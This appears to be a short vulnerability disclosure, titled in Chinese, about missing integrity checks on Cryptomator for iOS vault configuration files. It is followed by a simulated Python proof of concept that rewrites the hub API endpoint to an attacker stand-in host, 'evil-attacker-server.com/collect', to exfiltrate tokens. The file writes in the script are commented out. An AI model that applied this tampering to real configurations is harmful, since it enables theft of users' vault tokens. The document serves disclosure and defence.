Cryptomator for iOS 配置文件完整性校验漏洞

import json import os # PoC: Demonstration of vault.cryptomator tampering # This script simulates how an attacker might modify the configuration # to redirect API traffic to a malicious endpoint for token exfiltration. # Path to the target vault configuration file (hypothetical) CONFIG_FILE = "vault.cryptomator" # Original legitimate configuration structure (simplified for PoC) original_config = { "vaultId": "12345678-1234-1234-1234-123456789abc", "cipherCombo": "SIV_GCM", "shorteningThreshold": 220, "hub": { "backendId": "s3", "authenticationEndpoint": "https://auth.cryptomator.cloud", "apiEndpoint": "https://api.cryptomator.cloud" # Legitimate endpoint } } def tamper_with_config(file_path): """ Simulates the tampering of the vault configuration file. It replaces the legitimate API endpoint with a malicious one. """ print(f"[*] Reading configuration from {file_path}...") # In a real scenario, load the actual JSON file # with open(file_path, 'r') as f: # config = json.load(f) config = original_config.copy() print("[+] Original API Endpoint:", config["hub"]["apiEndpoint"]) # Define the malicious attacker-controlled endpoint malicious_endpoint = "https://evil-attacker-server.com/collect" # Tamper with the configuration config["hub"]["apiEndpoint"] = malicious_endpoint print(f"[!] Configuration tampered. New API Endpoint: {malicious_endpoint}") # Write the tampered config back (Simulated) # with open(file_path, 'w') as f: # json.dump(config, f, indent=4) print("[+] Tampered configuration written back to disk.") print("[*] Next time the user unlocks the vault, tokens will be sent to the malicious endpoint.") if __name__ == "__main__": # Check if file exists (simulation) if os.path.exists(CONFIG_FILE) or True: # forced True for demo tamper_with_config(CONFIG_FILE) else: print("[-] Vault configuration file not found.")